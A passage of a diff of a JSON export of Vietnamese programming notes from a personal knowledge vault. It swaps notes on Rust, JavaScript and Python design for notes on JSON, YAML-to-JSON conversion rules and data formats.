nhau. Nhưng việc cơ sở dữ liệu dạng bảng phổ biến rộng rãi làm cho tất cả những dạng còn lại bị gom chung vào một cái tên, dù \r\n\r\nCSDL được chia ra thành SQL và NoSQL. NoSQL được phân loại ra làm 4 dạng. Nhưng đáng lẽ nên chia CSLD ra thành 5 dạng\r\n\r\n![Types of Databases: Relational vs. Columnar vs. Document vs. Graph vs. Vector vs. Key-value & more - YouTube](https://youtu.be/VfcRxtBKI54?si=dyhbK0LauGzxvGcW)\r\n\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xt" + "Ngày cập nhật": "2024-08-25T13:43:00.000Z", + "id": "bc" }, { - "Tiêu đề": "Rust phù hợp khi code đã ổn định rồi", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/Rust phù hợp khi code đã ổn định rồi", + "Tiêu đề": "JSON hữu ích trong việc truyền dữ liệu vì nó hướng đến việc trở thành phần giao của các ngôn ngữ, chứ không phải phần hợp của chúng", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Có cấu trúc/Văn bản/JSON/JSON hữu ích trong việc truyền dữ liệu vì nó hướng đến việc trở thành phần giao của các ngôn ngữ, chứ không phải phần hợp của chúng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Why You SHOULDN'T Learn Rust - YouTube](https://youtu.be/kOFWIvNowXo?si=sdHbK6t97OiMDpxb)\r\n![Why You SHOULD Learn Rust - YouTube](https://youtu.be/h-hdFwze-0U?si=3HP3HIMmQDJnA9T4)\r\n\r\n[[Mỗi lần refactor là một cực hình]]", + "Toàn bộ nội dung": "Nguồn:: ![Douglas Crockford: The JSON Saga - YouTube](https://youtu.be/-C-JoyNuQJs?si=eJMzD1x3jp0rRjZj&t=761)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xu" + "id": "bd" }, { - "Tiêu đề": "Rust", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/Rust", + "Tiêu đề": "JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Có cấu trúc/Văn bản/JSON/JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Rust và Data Engineering? 🤔](https://blog.duyet.net/2021/11/rust-data-engineering.html)\r\n\r\n![Why You SHOULDN'T Learn Rust - YouTube](https://youtu.be/kOFWIvNowXo?si=sdHbK6t97OiMDpxb)\r\n![Why You SHOULD Learn Rust - YouTube](https://youtu.be/h-hdFwze-0U?si=3HP3HIMmQDJnA9T4)\r\n\r\n```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[2]\r\n```", + "Toàn bộ nội dung": "JSON là để cho máy viết, không phải cho người viết. Người muốn viết thì dùng YAML sẽ tốt hơn.\r\n- Key phải được đóng trong ngoặc kép để:\r\n\t- Không dụng phải những reserved word trong JS, \r\n\t- Không phải quan tâm xem \"ký tự\" là gì khi giải quyết unicode ([[Tuỳ vào phương thức mã hoá mà mỗi ký tự Unicode sẽ được biểu diễn bởi 1-4 đơn vị mã, 1-2 đơn vị mã, hoặc chỉ một đơn vị mã duy nhất]]) \r\n\t- Tương thích hơn với Python, vì Python cũng bắt đóng ngoặc kép tất cả các key\r\n- \r\n[[YAML thì để con người dễ đọc, còn JSON là để máy dễ đọc]]\r\n\r\nNguồn:: ![Douglas Crockford: The JSON Saga - YouTube](https://youtu.be/-C-JoyNuQJs?si=YbirDd_LCVQWUYNx&t=339)\r\n\r\nNếu muốn dùng comment thì có thể xài tạm:\r\n```json\r\n{\"//\": \"A way to use comments in json\"}\r\n```\r\nCòn không thì dùng JSONC", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-01-02T08:35:00.000Z", + "Ngày tạo": "2024-01-12T07:31:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xv" + "id": "be" }, { - "Tiêu đề": "TS là để thêm kiểu vào một ngôn ngữ từ đầu đã không muốn có kiểu. Rust được sinh ra với ý định có kiểu ngay từ đầu", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/TS là để thêm kiểu vào một ngôn ngữ từ đầu đã không muốn có kiểu. Rust được sinh ra với ý định có kiểu ngay từ đầu", + "Tiêu đề": "JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Có cấu trúc/Văn bản/JSON/JSON là cách để biểu diễn vật thể ra chữ, chứ tự nó không phải là vật thể", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\r\n[[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]] [[JS và Python đều không yêu cầu phải khai báo kiểu ngay lúc viết]]", + "Toàn bộ nội dung": "Đây cũng là lý do mà [[Trong JS, console.log() sẽ hiển thị toàn bộ nội dung vật thể mà không phải làm gì. Trong Python, print() sẽ chỉ hiển thị nội dung vật thể nếu __str__() đã được định nghĩa]]\r\nNguồn:: [Ben Alman » There's no such thing as a \"JSON Object\"](https://benalman.com/news/2010/03/theres-no-such-thing-as-a-json/)\r\n\r\n[[JSON hữu ích trong việc truyền dữ liệu vì nó hướng đến việc trở thành phần giao của các ngôn ngữ, chứ không phải phần hợp của chúng]]\r\n[[Serialize là cách duy nhất để truyền dữ liệu từ server tới client và ngược lại]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xw" + "id": "bf" }, { - "Tiêu đề": "Viết chương trình bằng Rust giống như sống trong mối quan hệ bạo hành", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Rust/Viết chương trình bằng Rust giống như sống trong mối quan hệ bạo hành", + "Tiêu đề": "JSON Schema dùng để đảm bảo file JSON được viết đúng", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Có cấu trúc/Văn bản/JSON/JSON Schema dùng để đảm bảo file JSON được viết đúng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Programming in Rust is like being in an emotionally abusive relationship. Rust screams at you all day, every day, often about things that you would have considered perfectly normal in another life. Eventually, you get used to the tantrums. They become routine. You learn to walk the tightrope to avoid triggering the compiler’s temper. And just like in real life, those behavior changes stick with you forever.\r\n\r\nEmotional abuse is not generally considered a _healthy_ way to encourage change, but it does effect change nonetheless.\r\n\r\nI can’t write code in other languages without feeling uncomfortable when lines are out of order or when return values are unchecked. I also now get irrationally upset when I experience a runtime error.\r\n\r\n![](https://miro.medium.com/v2/resize:fit:680/0*mmijPDv92_IXMXs0.png)\r\n\r\n_What do you mean “_`_done\"_` _is not a function? Why didn’t you let me know \"_`_done”_` _might not be a function??_\r\n\r\nNguồn:: [Was Rust Worth It?. From JavaScript to Rust, three years… | by Jarrod Overson | Medium](https://jsoverson.medium.com/was-rust-worth-it-f43d171fb1b3)", + "Toàn bộ nội dung": "Nguồn:: \r\n[JSON Schema Validator - Newtonsoft](https://www.jsonschemavalidator.net/)\r\n[Vỡ lòng về mô tả dữ liệu - Phần 2: JSON Type Definition | Nâu Đá Dev](https://nauda.dev/blog/lap-trinh/json-schema/understanding-json-type-def/)\r\n![What is JSON Schema - YouTube](https://youtu.be/kK-_gL7Vsc0?si=q6ig8HJwgvwbnoum)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xx" + "id": "bg" }, { - "Tiêu đề": "Việc hiển thị nội dung dữ liệu như thế nào là do công cụ quyết định, không phải ngôn ngữ quyết định", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Việc hiển thị nội dung dữ liệu như thế nào là do công cụ quyết định, không phải ngôn ngữ quyết định", + "Tiêu đề": "Chuyển từ YAML sang JSON", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Có cấu trúc/Văn bản/YAML/Chuyển từ YAML sang JSON", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn]]\r\nNguồn:: [Is it correct that Python does not encourage us to read objects's content?](https://langdev.stackexchange.com/q/2966/223)\r\n\r\n[[Việc đóng gói (encapsulation) giúp ta không cần quan tâm vật thể lưu dữ liệu thế nào, mà chỉ cần quan tâm tới thuộc tính và phương thức của nó]]\r\n", + "Toàn bộ nội dung": "Tốt nhất là dùng một [YAML Parser Online](https://jsonformatter.org/yaml-parser) để kiểm tra.\r\n\r\nDấu liệt kê `- ` phía trước và dấu hai chấm `:` phía sau sẽ quyết định nhiều thứ\r\n# Khi chỉ xét một dòng\r\n| Có `- ` phía trước A | Có`:` phía sau A | Kết quả: A là... | YAML | JSON |\r\n| -------------------- | ---------------- | ---------------------------------------------- | ------ | --------------- |\r\n| ✔ | ✔ | Chuỗi | `A` | `\"A\" ` |\r\n| ✔ | ❌ | Một phần tử của một danh sách | `- A` | `[\"A\"]` |\r\n| ❌ | ✔ | Thuộc tính của một vật thể | `A:` | `{\"A\": null}` |\r\n| ✔ | ✔ | Thuộc tính của một vật thể trong một danh sách | `- A:` | `[{\"A\": null}]` |\r\n\r\n\r\n# Khi xét 2 dòng\r\nTrong các đoạn code sau, ở trên là YAML, ở dưới là JSON.\r\n\r\n## Khi A là chuỗi thì B có là gì thì cũng nằm trong cùng chuỗi với A\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ❌ | ❌ |\r\n\r\n**B không có `- ` phía trước:**\r\n\r\n```yaml\r\nA\r\nB\r\n```\r\n```json\r\n\"A B\" \r\n```\r\n**B có `- ` phía trước:**\r\n```yaml\r\nA\r\n- B\r\n```\r\n```json\r\n\"A - B\" \r\n```\r\nNếu B có `:` phía sau thì sẽ ra lỗi.\r\n\r\n## `- A` \r\nKhi A chỉ có `- ` phía trước thì A là một phần tử của danh sách.\r\n### `- B`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ❌ |\r\n| B | ✔ | ❌ |\r\n\r\nNếu B cũng chỉ có `- ` phía trước thì A với B là các phần tử của một danh sách\r\n```yaml\r\n- A\r\n- B\r\n```\r\n```json\r\n[\r\n \"A\", \r\n \"B\"\r\n]\r\n```\r\n### `- B:`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ❌ |\r\n| B | ✔ | ✔ |\r\n\r\nNếu B có cả `- ` phía trước và `:` phía sau thì B là thuộc tính của một vật thể trong cùng danh sách với A (A và `{B:}` cùng danh sách).\r\n```yaml\r\n- A\r\n- B:\r\n```\r\n```json\r\n[\r\n \"A\", \r\n {\r\n \"B\": null\r\n }\r\n]\r\n```\r\n### `B` hoặc `B:` (lỗi) \r\n\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ❌ |\r\n| B | ❌ | |\r\n## `A:`\r\nKhi A chỉ có `:` phía sau thì A là một thuộc tính của một vật thể.\r\n### `B` (Lỗi)\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ❌ | ✔ |\r\n| B | ❌ | ❌ |\r\n```yaml\r\nA:\r\nB\r\n```\r\nLỗi:\r\n```\r\nERROR:\r\n\r\nwhile scanning a simple key\r\n in \"<unicode string>\", line 2, column 1:\r\n B\r\n ^\r\ncould not found expected ':'\r\n in \"<unicode string>\", line 2, column 2:\r\n B\r\n ^\r\n```\r\n### `B:`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ❌ | ✔ |\r\n| B | ❌ | ✔ |\r\n\r\nNếu A và B chỉ có `:` phía sau và đều cùng thẳng hàng với nhau thì A với B đều là thuộc tính của một vật thể:\r\n```yaml\r\nA:\r\nB:\r\n```\r\n```json\r\n{\r\n \"A\": null, \r\n \"B\": null\r\n}\r\n```\r\n\r\n### `- B`, `··- B`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ❌ | ✔ |\r\n| B | ✔ | ❌ |\r\n\r\nNếu B chỉ có `- ` phía trước thì A là một danh sách, B là phần tử của danh sách A\r\n```yaml\r\nA:\r\n- B\r\n```\r\n```json\r\n{\r\n \"A\": [\r\n \"B\"\r\n ]\r\n}\r\n```\r\n\r\n### `- B:`, `··- B:`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ❌ | ✔ |\r\n| B | ✔ | ✔ |\r\nNếu B có `-` phía trước và `:` phía sau, thì A là một danh sách các vật thể, B là thuộc tính của một vật thể trong danh sách đó\r\n```yaml\r\nA:\r\n- B: \r\n```\r\n```json\r\n{\r\n \"A\": [\r\n {\r\n \"B\": null\r\n }\r\n ]\r\n}\r\n```\r\n### `··B`\r\nNếu B thụt dòng so với A và không có `- ` lẫn `:` thì B là giá trị của thuộc tính A.\r\n```yaml\r\nA:\r\n B\r\n```\r\n```json\r\n{\r\n \"A\": \"B\"\r\n}\r\n```\r\n### `··B:`\r\nNếu B thụt dòng so với A và chỉ có `:` phía sau thì giá trị của A là một vật thể, và B là thuộc tính của vật thể đó.\r\n```yaml\r\nA:\r\n B: \r\n```\r\n```json\r\n{\r\n \"A\": {\r\n \"B\": null\r\n }\r\n}\r\n```\r\n## `- A:`\r\nNếu A có `-` phía trước và `:` phía sau thì A là thuộc tính của một vật thể trong một danh sách.\r\n### `B`, `B:`, `··B` (lỗi) \r\n### `- B`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ✔ |\r\n| B | ✔ | ❌ |\r\n```yaml\r\n- A:\r\n- B\r\n```\r\n```json\r\n[\r\n {\r\n \"A\": null\r\n },\r\n \"B\"\r\n]\r\n```\r\n### `··B:`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ✔ |\r\n| ··B | ❌ | ✔ |\r\n```yaml\r\n- A:\r\n B: \r\n```\r\n```json\r\n[\r\n {\r\n \"A\": null, \r\n \"B\": null\r\n }\r\n]\r\n```\r\n### `··- B`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ✔ |\r\n| ··B | ✔ | ❌ |\r\n```yaml\r\n- A:\r\n - B\r\n```\r\n```json\r\n[\r\n {\r\n \"A\": [\r\n \"B\"\r\n ]\r\n }\r\n]\r\n```\r\n### `··- B:`\r\n| Dòng | Có `- ` phía trước | Có `:` phía sau |\r\n| ---- | ------------------ | --------------- |\r\n| A | ✔ | ✔ |\r\n| ··B | ✔ | ✔ |\r\n```yaml\r\n- A:\r\n - B:\r\n```\r\n```json\r\n[\r\n {\r\n \"A\": [\r\n {\r\n \"B\": null\r\n }\r\n ]\r\n }\r\n]\r\n```\r\n# 1\r\n```yaml\r\nA:\r\n - B:\r\n C:\r\n```\r\n```json\r\n{\r\n \"A\": [\r\n {\r\n \"C\": null, \r\n \"B\": null\r\n }\r\n ]\r\n}\r\n```\r\n# 2\r\n```yaml\r\nA:\r\n - B:\r\n - C\r\n```\r\n```json\r\n{\r\n \"A\": [\r\n {\r\n \"B\": [\r\n \"C\"\r\n ]\r\n }\r\n ]\r\n}\r\n```\r\n# 3\r\n```yaml\r\nA:\r\n - B:\r\n - C:\r\n```\r\n```json\r\n{\r\n \"A\": [\r\n {\r\n \"B\": [\r\n {\r\n \"C\": null\r\n }\r\n ]\r\n }\r\n ]\r\n}\r\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", + "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xy" + "id": "bh" }, { - "Tiêu đề": "Các ngôn ngữ lập trình tiến hoá dần để trở thành Lisp", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Ý đồ thiết kế/Các ngôn ngữ lập trình tiến hoá dần để trở thành Lisp", + "Tiêu đề": "YAML thì để con người dễ đọc, còn JSON là để máy dễ đọc", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Có cấu trúc/Văn bản/YAML/YAML thì để con người dễ đọc, còn JSON là để máy dễ đọc", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Revenge of the Nerds](http://www.paulgraham.com/icad.html?ref=blog.codinghorror.com)\r\n", + "Toàn bộ nội dung": "[[YAML được sinh ra để con người đọc và viết metadata một cách dễ dàng]]\r\n[[JSON không cho phép để dư dấu phẩy, không có comment, bắt buộc phải dùng ngoặc kép, key phải được đóng trong ngoặc kép]]\r\n[[JSON hữu ích trong việc truyền dữ liệu vì nó hướng đến việc trở thành phần giao của các ngôn ngữ, chứ không phải phần hợp của chúng]] \r\n![YAML Considered Harmful - Philipp Krenn - YouTube](https://youtu.be/WQurEEfSf8M)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-09-22T14:46:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Xz" + "id": "bi" }, { - "Tiêu đề": "JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Ý đồ thiết kế/JS vốn được sinh ra để chạy trên trình duyệt và không được dùng để làm việc với lượng code lớn", + "Tiêu đề": "YAML được sinh ra để con người đọc và viết metadata một cách dễ dàng", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Có cấu trúc/Văn bản/YAML/YAML được sinh ra để con người đọc và viết metadata một cách dễ dàng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Eric Lippert, một trong những implementers của JScript và ở trong hội đồng ECMA vào cuối thập kỷ 90, chia sẻ về lịch sử của JS như sau:\r\n> Hãy nhớ lại mục đích thiết kế cơ bản của JS vào những năm 1990. **Làm cho con khỉ nhảy múa khi bạn rê chuột.** Chúng tôi coi inline expression script là bình thường, các khối script từ hai đến mười dòng là phổ biến, và cái ý nghĩ rằng sẽ có người viết *hàng trăm dòng* cho một trang thực sự rất bất thường. Tôi nhớ khi tôi lần đầu tiên xem một chương trình JS mười ngàn dòng, câu hỏi đầu tiên của tôi dành cho những người đang cần tôi giúp đỡ vì nó quá chậm so với phiên bản C++ của họ là một phiên bản của \"bạn điên à?! 10 ngàn dòng code JS?! \"\r\n\r\nNguồn:: [Why is Math.random() not designed to be cryptographically secure?](https://security.stackexchange.com/a/181623/94500)\r\n\r\nTrong khi đó, [[Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết]] \r\n\r\nChính vì lý do này, nên khi rốt cuộc JS được dùng nhiều, người ta cần tạo thêm nhiều công cụ cho nó:\r\n- [[TypeScript cung cấp kiểu cho JS]] \r\n- [[Node.js là cách để dùng JS ở backend]]\r\n\r\nXem thêm:: [[Lịch sử phát triển của JavaScript]]", + "Toàn bộ nội dung": "```\r\nVật thể:\r\n  - Tên chiều: Món đồ\r\n    Dữ liệu tự nhận dạng: \r\n    Ký tự để nhập trực tiếp:\r\n      Từ:\r\n        - @\r\n      Nhãn:\r\n        - @@\r\n    Tên gọi đầu ra:\r\n      Từ: Item\r\n      Nhãn: \r\n```\r\n\r\nNếu bạn cần dùng các ký tự này: `{`, `}`, `[`, `]`, `&`, `*`, `#`, `?`, `|`, `-`, `<`, `>`, `=`, `!`, `%`, `@`, `:`, `` ` ``, `,` thì cần để vào dấu nháy đơn hoặc nháy kép.\r\n> [!Attention] Khoảng trắng ở mỗi đầu dòng cần phải chính xác\r\n> Bạn cũng chỉ được dùng **dấu cách** để tạo khoảng trắng chứ không được dùng **tab**\r\n\r\n[[YAML thì để con người dễ đọc, còn JSON là để máy dễ đọc]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày tạo": "2023-09-26T08:16:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "X-" + "id": "bj" }, { - "Tiêu đề": "Nếu compiler không làm cho lập trình viên thấy rõ lỗi của họ là gì, thì đó là lỗi của Rust, không phải của họ", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Ý đồ thiết kế/Nếu compiler không làm cho lập trình viên thấy rõ lỗi của họ là gì, thì đó là lỗi của Rust, không phải của họ", + "Tiêu đề": "Dữ liệu bán cấu trúc là dữ liệu cấu trúc không theo dạng bảng", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Dữ liệu bán cấu trúc là dữ liệu cấu trúc không theo dạng bảng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Why is the JavaScript ecosystem switching to Rust? - YouTube](https://youtu.be/dZQMoEWe5uY?si=Rmr4RCwH5fSeQO2Z&t=1171)\r\n\r\n[[Viết chương trình bằng Rust giống như sống trong mối quan hệ bạo hành]] ", + "Toàn bộ nội dung": "> Semi-structured data is a form of structured data that does not obey the tabular structure of data models associated with relational databases or other forms of data tables\nNguồn:: [Semi-structured data - Wikipedia](https://en.wikipedia.org/wiki/Semi-structured_data)\n\n![[Các định dạng dữ liệu thường gặp khi xử lý văn bản.excalidraw]]\n[[Không nên phân chia dữ liệu có cấu trúc và dữ liệu bán cấu trúc, mà nên phân chia là dữ liệu có cấu trúc dạng bảng và dữ liệu có cấu trúc không phải dạng bảng]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "X_" + "Ngày cập nhật": "2024-09-11T12:21:00.000Z", + "id": "bk" }, { - "Tiêu đề": "Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Ý đồ thiết kế/Python tập trung vào việc cung cấp một ngôn ngữ lập trình tổng quát, dễ đọc và dễ viết", + "Tiêu đề": "Không nên phân chia dữ liệu có cấu trúc và dữ liệu bán cấu trúc, mà nên phân chia là dữ liệu có cấu trúc dạng bảng và dữ liệu có cấu trúc không phải dạng bảng", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu/Không nên phân chia dữ liệu có cấu trúc và dữ liệu bán cấu trúc, mà nên phân chia là dữ liệu có cấu trúc dạng bảng và dữ liệu có cấu trúc không phải dạng bảng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "![[Các định dạng dữ liệu thường gặp khi xử lý văn bản.excalidraw]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Y0" + "Ngày tạo": "2024-09-11T12:21:00.000Z", + "Ngày cập nhật": "2024-09-11T12:21:00.000Z", + "id": "bl" }, { - "Tiêu đề": "Ý đồ thiết kế", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Ý đồ thiết kế/Ý đồ thiết kế", + "Tiêu đề": "Định dạng dữ liệu", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST\r\nFROM \"✍️Lập trình/Ngôn ngữ/Ngôn ngữ lập trình/Ý đồ thiết kế\" \r\nWHERE file.name != this.file.name\r\n```", + "Toàn bộ nội dung": "![[Các định dạng dữ liệu thường gặp khi xử lý văn bản.excalidraw]]\n```dataview\nLIST rows.file.link\nFROM \"📊Tổ chức, phân tích dữ liệu/Định dạng dữ liệu\" \nWHERE file.name!=this.file.name\nGROUP BY split(file.folder, \"/\")[2]\n```", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Y1" + "Ngày tạo": "2024-09-10T09:36:00.000Z", + "Ngày cập nhật": "2024-09-11T09:25:00.000Z", + "id": "bm" }, { - "Tiêu đề": "Ngôn ngữ scripting sinh ra là để xử lý văn bản, không nhấn mạnh về kiểu, khai báo", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ scripting sinh ra là để xử lý văn bản, không nhấn mạnh về kiểu, khai báo", + "Tiêu đề": "❓Tại sao không cho người chưa biết gì về công nghệ thông tin bắt đầu bằng việc học cơ sở dữ liệu trước thay vì học lập trình?", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu/❓Tại sao không cho người chưa biết gì về công nghệ thông tin bắt đầu bằng việc học cơ sở dữ liệu trước thay vì học lập trình?", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![Computer Science - Brian Kernighan on successful language design - YouTube](https://youtu.be/Sg4U4r_AgJU?si=aYt8PJjJWOvdjkC_&t=735)", + "Toàn bộ nội dung": "Nhiều nơi khi học lập trình trước sẽ cho bắt đầu học Python, vì Python giúp người mới học lập trình tránh được rất nhiều phiền toái (khi so sánh với các ngôn ngữ khác) vì cú pháp, khai báo, luật phức tạp... không cần thiết, từ đó giúp chúng ta tập trung vào cách thức giải quyết vấn đề. Điều này là đúng. Nhưng câu hỏi ở đây không phải là người mới nên bắt đầu bằng ngôn ngữ nào, mà là tại sao lại phải bắt đầu bằng việc học ngôn ngữ? Tại sao không bắt đầu bằng việc học cơ sở dữ liệu trước thay vì học lập trình? Vì đó mới là cái thứ họ sẽ làm việc thường xuyên\n\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T14:02:00.000Z", - "id": "Y2" + "Ngày cập nhật": "2024-08-25T13:50:00.000Z", + "id": "bn" }, { - "Tiêu đề": "Chữ ML trong HTML, XML, YAML, TOML là viết tắt của markup language", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Ngôn ngữ/Ngôn ngữ đánh dấu/Chữ ML trong HTML, XML, YAML, TOML là viết tắt của markup language", + "Tiêu đề": "📊Tổ chức, phân tích dữ liệu", + "URL": "https://lậptrình.quảcầu.cc/📊Tổ chức, phân tích dữ liệu", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội 